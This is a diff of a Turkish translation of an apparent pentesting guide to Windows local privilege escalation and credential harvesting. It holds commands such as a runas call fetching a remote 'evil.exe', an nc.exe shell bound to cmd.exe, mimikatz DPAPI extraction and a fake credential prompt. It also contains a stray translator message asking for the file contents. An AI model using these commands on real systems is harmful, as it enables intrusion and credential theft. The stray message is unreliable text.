+636,13 @@ privilege-escalation-with-autorun-binaries.md ### Sürücüler -Muhtemel **third party weird/vulnerable** sürücüleri arayın +Olası üçüncü taraf tuhaf/zafiyetli sürücüleri arayın ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Eğer bir driver arbitrary kernel read/write primitive açığa çıkarıyorsa (kötü tasarlanmış IOCTL handlers'ta yaygındır), kernel memory'den doğrudan bir SYSTEM token çalarak privilege escalation gerçekleştirebilirsiniz. Adım adım teknik için buraya bakın: +Eğer bir driver arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers) açığa çıkarıyorsa, doğrudan kernel memory'den bir SYSTEM token çalarak yetki yükseltebilirsiniz. Adım adım teknik için buraya bakın: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -642,22 +651,22 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -Eğer **write permissions inside a folder present on PATH**'a sahipseniz, bir süreç tarafından yüklenen bir DLL'i hijack ederek **escalate privileges** yapabilirsiniz. +Eğer **PATH üzerinde bulunan bir klasör içinde yazma izinleriniz** varsa, bir süreç tarafından yüklenen bir DLL'i kaçırarak **yetki yükseltebilirsiniz**. PATH içindeki tüm klasörlerin izinlerini kontrol edin: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Bu kontrolün nasıl kötüye kullanılacağı hakkında daha fazla bilgi için: +Bu kontrolü nasıl kötüye kullanacağınız konusunda daha fazla bilgi için: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}} -## Ağ +## Network -### Paylaşımlar +### Shares ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains @@ -677,9 +686,9 @@ ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Açık Portlar +### Open Ports -Dışarıdan **kısıtlı hizmetleri** kontrol edin +Dışarıdan **restricted services**'ı kontrol edin ```bash netstat -ano #Opened ports? ``` @@ -695,27 +704,27 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Firewall Rules -[**Firewall ile ilgili komutlar için bu sayfayı kontrol edin**](../basic-cmd-for-pentesters.md#firewall) **(kuralları listeleme, kurallar oluşturma, devre dışı bırakma, devre dışı bırakma...)** +[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(kuralları listele, kurallar oluştur, kapat, kapat...)** -Daha fazla [ağ keşfi için komutlar burada](../basic-cmd-for-pentesters.md#network) +Daha fazla[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -Binary `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` konumunda da bulunabilir. +İkili `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` içinde de bulunabilir -root erişimi elde ederseniz herhangi bir portu dinleyebilirsiniz (`nc.exe`'yi bir portu dinlemek için ilk kullandığınızda GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilmesi istenecektir). +Eğer root kullanıcısı olursanız herhangi bir portu dinleyebilirsiniz (ilk kez bir portu dinlemek için `nc.exe` kullandığınızda GUI, `nc`'nin güvenlik duvarı tarafından izin verilmesini isteyecektir). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -bash'i root olarak kolayca başlatmak için `--default-user root` deneyebilirsiniz +bash'ı root olarak kolayca başlatmak için `--default-user root` deneyebilirsiniz. -Aşağıdaki klasördeki `WSL` dosya sistemini inceleyebilirsiniz: `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +`WSL` dosya sistemini şu klasörde inceleyebilirsiniz: `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Windows Kimlik Bilgileri @@ -734,13 +743,13 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ### Credentials manager / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault, sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini depolar; bu kimlik bilgileri **Windows**'un kullanıcıları **otomatik olarak oturum açtırabilmesi** içindir. İlk bakışta kullanıcıların Facebook, Twitter, Gmail vb. kimlik bilgilerini tarayıcılar üzerinden otomatik giriş için saklayabildiği izlenimi verebilir. Ancak durum böyle değildir. +Windows Vault, **Windows**'un kullanıcıları otomatik olarak oturum açtırabildiği sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini depolar. İlk bakışta, kullanıcıların Facebook, Twitter, Gmail vb. kimlik bilgilerini tarayıcılar aracılığıyla otomatik giriş yapmak için saklayabildiği gibi görünebilir. Ancak durum böyle değildir. -Windows Vault, Windows'un kullanıcıları otomatik olarak oturum açtırabileceği kimlik bilgilerini depolar; bu da herhangi bir **Windows uygulamasının bir kaynağa (sunucu veya bir web sitesi) erişmek için kimlik bilgilerine ihtiyaç duyması** durumunda **bu Credential Manager** & Windows Vault'tan yararlanabileceği ve kullanıcıların kullanıcı adı ve şifreyi sürekli girmesi yerine sağlanan kimlik bilgilerini kullanabileceği anlamına gelir. +Windows Vault, **Windows**'un kullanıcıları otomatik olarak oturum açtırabildiği kimlik bilgilerini depolar; bu da herhangi bir **kaynağa (sunucu veya bir web sitesi) erişmek için kimlik bilgisine ihtiyaç duyan Windows uygulamasının** **bu Credential Manager** ve Windows Vault'tan faydalanabileceği ve kullanıcının her seferinde kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabileceği anlamına gelir. -Uygulamalar Credential Manager ile etkileşime girmedikçe, belirli bir kaynağın kimlik bilgilerini kullanmalarının mümkün olduğunu sanmıyorum. Bu yüzden uygulamanız vault'tan yararlanmak istiyorsa, varsayılan depolama vault'undan o kaynak için kimlik bilgilerini talep etmek üzere bir şekilde **credential manager ile iletişim kurmalı ve o kaynak için kimlik bilgilerini talep etmelidir**. +Uygulamalar Credential Manager ile etkileşime girmedikçe, belirli bir kaynak için kimlik bilgilerini kullanmaları mümkün görünmüyor. Bu yüzden, uygulamanız vault'tan faydalanmak istiyorsa, varsayılan depolama vault'undan o kaynak için kimlik bilgilerini talep etmek üzere bir şekilde **credential manager ile iletişim kurmalıdır**. -Makinede depolanan kimlik bilgilerini listelemek için `cmdkey` komutunu kullanın. +Makinede depolanan kimlik bilgilerini listelemek için `cmdkey`'i kullanın. ```bash cmdkey /list Currently stored credentials: @@ -748,7 +757,7 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Sonrasında saklanan kimlik bilgilerini kullanmak için `runas` komutunu `/savecred` seçeneği ile kullanabilirsiniz. Aşağıdaki örnek bir SMB share üzerinden uzak bir binary'yi çağırmaktadır. +Daha sonra kayıtlı kimlik bilgilerini kullanmak için `/savecred` seçeneği ile `runas` kullanabilirsiniz. Aşağıdaki örnek SMB paylaşımı üzerinden uzak bir binary'yi çağırmaktadır. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` @@ -756,41 +765,41 @@ Sağlanan kimlik bilgileriyle `runas` kullanma. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Dikkat: mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html) veya [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) kullanılarak elde edilebilir. +Unutmayın ki mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), veya [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -The **Data Protection API (DPAPI)** verilerin simetrik şifrelemesi için bir yöntem sağlar; özellikle Windows işletim sisteminde asimetrik özel anahtarların simetrik şifrelemesi için kullanılır. Bu şifreleme, entropiye önemli katkı sağlayan bir kullanıcı veya sistem sırrını kullanır. +The **Veri Koruma API'si (DPAPI)**, verinin simetrik şifrelenmesi için bir yöntem sağlar; ağırlıklı olarak Windows işletim sistemi içinde, asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, entropiye önemli katkı sağlayan bir kullanıcı veya sistem sırrını kullanır. -**DPAPI, kullanıcı giriş sırlarından türetilen bir simetrik anahtar aracılığıyla anahtarların şifrelenmesine imkan verir**. Sistem şifrelemesi senaryolarında ise sistemin domain kimlik doğrulama sırlarını kullanır. +**DPAPI, kullanıcı oturum açma sırlarından türetilen simetrik bir anahtar aracılığıyla anahtarların şifrelenmesine olanak tanır**. Sistem şifrelemesi senaryolarında ise sistemin domain kimlik doğrulama sırlarını kullanır. -DPAPI kullanılarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}` kullanıcının [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)'ıdır. **Kullanıcının özel anahtarlarını aynı dosyada koruyan master key ile aynı yerde bulunan DPAPI anahtarı**, genellikle 64 baytlık rastgele veriden oluşur. (Bu dizine erişimin kısıtlı olduğunu ve CMD'de `dir` komutu ile içeriğinin listelenmesine izin verilmediğini; ancak PowerShell üzerinden listelenebildiğini not etmek önemlidir.) +Şifrelenmiş kullanıcı RSA anahtarları, DPAPI kullanılarak, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}` kullanıcının [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)'ıdır. **DPAPI anahtarı, kullanıcının özel anahtarlarını aynı dosyada koruyan master anahtarla birlikte aynı konumda bulunur**, tipik olarak 64 byte rastgele veriden oluşur. (Bu dizine erişimin kısıtlı olduğunu, CMD'de `dir` komutuyla içeriğini listelemenin engellendiğini, ancak PowerShell üzerinden listelenebildiğini belirtmek önemlidir). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Onu çözmek için uygun argümanlar (`/pvk` veya `/rpc`) ile **mimikatz module** `dpapi::masterkey` kullanabilirsiniz. +Şifresini çözmek için uygun argümanlar (`/pvk` veya `/rpc`) ile **mimikatz module** `dpapi::masterkey`'i kullanabilirsiniz. -**Ana parola ile korunan kimlik bilgileri dosyaları** genellikle şu konumlarda bulunur: +**credentials files protected by the master password** genellikle şu konumlarda bulunur: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt.\ -Çok sayıda **DPAPI** **masterkeys**'i bellekte `sekurlsa::dpapi` modülü ile çıkarabilirsiniz (eğer root'sanız). +Uygun `/masterkey` ile **mimikatz module** `dpapi::cred` kullanarak şifreyi çözebilirsiniz.\ +Çok sayıda **DPAPI** **masterkeys**'i **bellek**ten `sekurlsa::dpapi` modülü ile çıkarabilirsiniz (root iseniz). {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### PowerShell Credentials +### PowerShell Kimlik Bilgileri -**PowerShell credentials** genellikle şifrelenmiş kimlik bilgilerini pratik şekilde saklamak için **scripting** ve **automation** görevlerinde kullanılır. Bu kimlik bilgileri **DPAPI** ile korunur; bu da genellikle oluşturuldukları aynı bilgisayarda aynı kullanıcı tarafından çözülebilecekleri anlamına gelir. +**PowerShell kimlik bilgileri** genellikle **scripting** ve otomasyon görevlerinde, şifrelenmiş kimlik bilgilerini kolayca saklamak için kullanılır. Kimlik bilgileri **DPAPI** ile korunur; bu genellikle oluşturuldukları aynı kullanıcı tarafından aynı bilgisayarda çözülebilecekleri anlamına gelir. -To **decrypt** a PS credentials from the file containing it you can do: +Bir PS kimlik bilgisini onu içeren dosyadan **çözmek** için şunu yapabilirsiniz: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -801,7 +810,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Kablosuz (Wi-Fi) +### Wifi ```bash #List saved Wifi using netsh wlan show profile @@ -813,7 +822,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ### Kaydedilmiş RDP Bağlantıları Bunları `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -ve `HKCU\Software\Microsoft\Terminal Server Client\Servers\` içinde bulabilirsiniz. +ve `HKCU\Software\Microsoft\Terminal Server Client\Servers\` konumlarında bulabilirsiniz. ### Son Çalıştırılan Komutlar ``` @@ -824,27 +833,20 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ -Uygun `/masterkey` ile **Mimikatz** `dpapi::rdg` modülünü kullanarak herhangi bir .rdg dosyasının **şifresini çözün**.\ -You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module\ -Mimikatz `sekurlsa::dpapi` modülüyle bellekten birçok **DPAPI masterkey** çıkarabilirsiniz. +**Mimikatz** `dpapi::rdg` modülünü uygun `/masterkey` ile kullanarak herhangi bir .rdg dosyasının **şifresini çözebilirsiniz`\ +Mimikatz `sekurlsa::dpapi` modülü ile bellekteki birçok DPAPI masterkey'i **çıkarabilirsiniz** ### Sticky Notes -People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining.\ -Kullanıcılar genellikle Windows iş istasyonlarında StickyNotes uygulamasını bunun bir veritabanı dosyası olduğunu fark etmeden **şifreleri ve diğer bilgileri kaydetmek** için kullanır. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aranıp incelenmeye değerdir. +Kullanıcılar genellikle Windows iş istasyonlarında StickyNotes uygulamasını bir veritabanı dosyası olduğunu fark etmeden **parolaları ve diğer bilgileri kaydetmek** için kullanırlar. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aranıp incelenmeye değerdir. ### AppCmd.exe -**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ -**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ -If this file exists then it is possible that some **credentials** have been configured and can be **recovered**.\ -**AppCmd.exe**'den şifreleri kurtarmak için Yönetici olmanız ve High Integrity seviyesinde çalıştırmanız gerektiğini unutmayın.\ +**AppCmd.exe'den parolaları kurtarmak için Administrator olmanız ve High Integrity seviyesinde çalıştırmanız gerektiğini unutmayın.**\ **AppCmd.exe** `%systemroot%\system32\inetsrv\` dizininde bulunur.\ Bu dosya mevcutsa bazı **credentials** yapılandırılmış olabilir ve **kurtarılabilir**. -This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):\ -Bu kod [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) projesinden çıkarılmıştır: +Bu kod [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) kaynağından çıkarılmıştır: ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -924,15 +926,14 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -`C:\Windows\CCM\SCClient.exe` var mı diye kontrol edin.\ - -Kurulum programları **run with SYSTEM privileges** ile çalıştırılır; birçoğu **DLL Sideloading**'a karşı savunmasızdır (Bilgi: [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)). +`C:\Windows\CCM\SCClient.exe` dosyasının var olup olmadığını kontrol edin .\ +Yükleyiciler **SYSTEM ayrıcalıklarıyla çalıştırılır**, birçoğu **DLL Sideloading'e açıktır (Bilgi kaynağı** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Dosyalar ve Kayıt Defteri (Kimlik Bilgileri) +## Dosyalar ve Kayıt Defteri (Credentials) ### Putty Creds ```bash @@ -942,23 +943,23 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### Kayıt defterindeki SSH anahtarları +### SSH keys kayıt defterinde -SSH özel anahtarları kayıt defteri anahtarı `HKCU\Software\OpenSSH\Agent\Keys` içinde saklanıyor olabilir; bu yüzden orada ilginç bir şey olup olmadığını kontrol etmelisiniz: +SSH private keys kayıt defteri anahtarı `HKCU\Software\OpenSSH\Agent\Keys` içinde saklanabilir, bu yüzden orada ilginç bir şey olup olmadığını kontrol etmelisiniz: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Bu yolun içinde herhangi bir giriş bulursanız muhtemelen kaydedilmiş bir SSH key'idir. Şifreli olarak saklanır fakat [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca deşifre edilebilir.\ -Bu teknik hakkında daha fazla bilgi için: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +Eğer o yol içinde herhangi bir giriş bulursanız muhtemelen kaydedilmiş bir SSH key'dir. Şifrelenmiş olarak saklanır fakat [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca deşifre edilebilir.\ +Bu teknikle ilgili daha fazla bilgi burada: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Eğer `ssh-agent` servisi çalışmıyorsa ve önyüklemede otomatik başlamasını istiyorsanız şunu çalıştırın: +Eğer `ssh-agent` servisi çalışmıyorsa ve önyüklemede otomatik olarak başlamasını istiyorsanız şunu çalıştırın: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Görünüşe göre bu teknik artık geçerli değil. Bazı ssh anahtarları oluşturmaya, bunları `ssh-add` ile eklemeye ve ssh ile bir makineye giriş yapmaya çalıştım. Kayıt defteri HKCU\Software\OpenSSH\Agent\Keys mevcut değil ve procmon, asimetrik anahtar kimlik doğrulaması sırasında `dpapi.dll` kullanımını tespit etmedi. +> Görünüşe göre bu teknik artık geçerli değil. Birkaç ssh keys oluşturmaya, onları `ssh-add` ile eklemeye ve ssh ile bir makineye giriş yapmaya çalıştım. Kayıt defteri HKCU\Software\OpenSSH\Agent\Keys bulunmuyor ve procmon, asimetrik anahtar kimlik doğrulaması sırasında `dpapi.dll` kullanımını tespit etmedi. -### Gözetimsiz dosyalar +### Unattended files ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -973,7 +974,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Bu dosyaları ayrıca **metasploit** kullanarak da arayabilirsiniz: _post/windows/gather/enum_unattend_ +Bu dosyaları ayrıca **metasploit** kullanarak arayabilirsiniz: _post/windows/gather/enum_unattend_ Örnek içerik: ```xml @@ -1016,13 +1017,13 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Adında **SiteList.xml** olan bir dosya arayın +SiteList.xml adlı bir dosya arayın ### Önbelleğe Alınmış GPP Parolası -Daha önce, Group Policy Preferences (GPP) aracılığıyla bir grup makinede özel local administrator hesaplarının dağıtılmasına izin veren bir özellik mevcuttu. Ancak, bu yöntemin ciddi güvenlik açıkları vardı. İlk olarak, SYSVOL'de XML dosyaları olarak saklanan Group Policy Objects (GPOs) herhangi bir domain kullanıcısı tarafından erişilebiliyordu. İkinci olarak, bu GPP'lerdeki parolalar, halka açık olarak belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlikli kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine izin verebilecek ciddi bir riskti. +Önceden, Group Policy Preferences (GPP) aracılığıyla bir grup makineye özel local administrator hesapları dağıtılmasına izin veren bir özellik mevcuttu. Ancak bu yöntemin önemli güvenlik zafiyetleri vardı. İlk olarak, SYSVOL içinde XML dosyaları olarak saklanan Group Policy Objects (GPOs), herhangi bir domain kullanıcısı tarafından erişilebilir durumdaydı. İkinci olarak, bu GPP'lerdeki parolalar, halka açık şekilde belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmiş olsa da, herhangi bir kimliği doğrulanmış kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yetki yükseltmesine yol açabileceği için ciddi bir risk oluşturuyordu. -Bu riski azaltmak için, içinde "cpassword" alanı boş olmayan yerel önbelleğe alınmış GPP dosyalarını tarayan bir fonksiyon geliştirildi. Böyle bir dosya bulunduğunda, fonksiyon şifreyi çözer ve özel bir PowerShell object döndürür. Bu object GPP hakkında detayları ve dosyanın konumunu içerir; böylece bu güvenlik açığının tespit edilip giderilmesine yardımcı olur. +Bu riski azaltmak için, içinde boş olmayan bir "cpassword" alanı bulunan yerel önbelleğe alınmış GPP dosyalarını tarayan bir fonksiyon geliştirildi. Böyle bir dosya bulunduğunda fonksiyon parolayı çözer ve özel bir PowerShell objesi döndürür. Bu obje, GPP hakkında ve dosyanın konumu hakkında bilgiler içerir; bu da bu güvenlik açığının tespiti ve giderilmesine yardımcı olur. Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: @@ -1033,12 +1034,12 @@ Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents - Printers.xml - Drives.xml -**cPassword'ı çözmek için:** +**cPassword'i çözmek için:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -crackmapexec ile passwords elde etme: +crackmapexec kullanarak passwords almak: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` @@ -1094,9 +1095,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Credentials isteyin +### Kimlik bilgilerini isteyin -Her zaman **kullanıcıdan kendi credentials'ını veya farklı bir kullanıcının credentials'ını girmesini isteyebilirsiniz** eğer kullanıcının bunları bilebileceğini düşünüyorsanız (unutmayın ki müşteriye doğrudan **sormak** ya da doğrudan **credentials** istemek gerçekten **risklidir**): +Eğer kullanıcının bunları bilebileceğini düşünüyorsanız, kullanıcıdan kendi **kimlik bilgilerini** veya hatta başka bir kullanıcının **kimlik bilgilerini** girmesini her zaman **isteyebilirsiniz** (unutmayın: müşteriden doğrudan **kimlik bilgilerini** **istemek** gerçekten **risklidir**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1106,7 +1107,7 @@ $cred.GetNetworkCredential() | fl ``` ### **credentials içerebilecek olası dosya adları** -Bir zamanlar **passwords**'ı **clear-text** veya **Base64** olarak içeren bilinen dosyalar +Bir süre önce **passwords**'ı **clear-text** veya **Base64** olarak içeren bilinen dosyalar ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1170,7 +1171,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -I don't have the file contents. Lütfen src/windows-hardening/windows-local-privilege-escalation/README.md dosyasının içeriğini buraya yapıştırın, ardından çeviriyi yapacağım. +src/windows-hardening/windows-local-privilege-escalation/README.md dosyasına erişimim yok. Lütfen dosya içeriğini yapıştırın veya aramamı istediğiniz dosyaların listesini verin. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1179,15 +1180,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Geri Dönüşüm Kutusu'ndaki Kimlik Bilgileri +### Geri Dönüşüm Kutusundaki Kimlik Bilgileri -Kimlik bilgilerini aramak için ayrıca Geri Dönüşüm Kutusu'nu da kontrol etmelisiniz +Ayrıca kimlik bilgileri için Geri Dönüşüm Kutusunu da kontrol etmelisiniz -Birçok program tarafından kaydedilmiş şifreleri **kurtarmak** için şu adresi kullanabilirsiniz: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Birçok program tarafından kaydedilen **parolaları kurtarmak** için şunu kullanabilirsiniz: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Kayıt Defteri İçinde +### Kayıt Defterinde -**Kimlik bilgileri içerebilecek diğer olası kayıt defteri anahtarları** +**Kimlik bilgileri içerebilecek diğer kayıt anahtarları** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1198,8 +1199,8 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Tarayıcı Geçmişi -Parolaların **Chrome or Firefox**'tan saklandığı dbs'leri kontrol etmelisin.\ -Ayrıca tarayıcıların history, bookmarks ve favourites'larını kontrol et; belki bazı **parolalar** orada saklıdır. +Chrome veya Firefox şifrelerinin saklandığı veritabanlarını (dbs) kontrol etmelisiniz.\ +Ayrıca tarayıcıların geçmişini, yer imlerini ve favorilerini kontrol edin; bazı **parolalar** orada saklanıyor olabilir. Tools to extract passwords from browsers: @@ -1210,51 +1211,51 @@ Tools to extract passwords from browsers: ### **COM DLL Overwriting** -Component Object Model (COM) is a technology built within the Windows operating system that allows **intercommunication** between software components of different languages. Each COM component is **identified via a class ID (CLSID)** and each component exposes functionality via one or more interfaces, identified via interface IDs (IIDs). +**Component Object Model (COM)**, Windows işletim sistemi içinde yerleşik bir teknolojidir ve farklı dillerde yazılmış yazılım bileşenleri arasında iletişime izin verir. Her COM bileşeni bir class ID (CLSID) ile tanımlanır ve her bileşen, interface ID'leri (IIDs) ile tanımlanan bir veya daha fazla arayüz aracılığıyla işlevsellik sunar. -COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM sınıfları ve arayüzleri sırasıyla kayıt defterinde **HKEY\CLASSES\ROOT\CLSID** ve **HKEY\CLASSES\ROOT\Interface** altında tanımlanır. Bu kayıt, **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** birleştirilerek 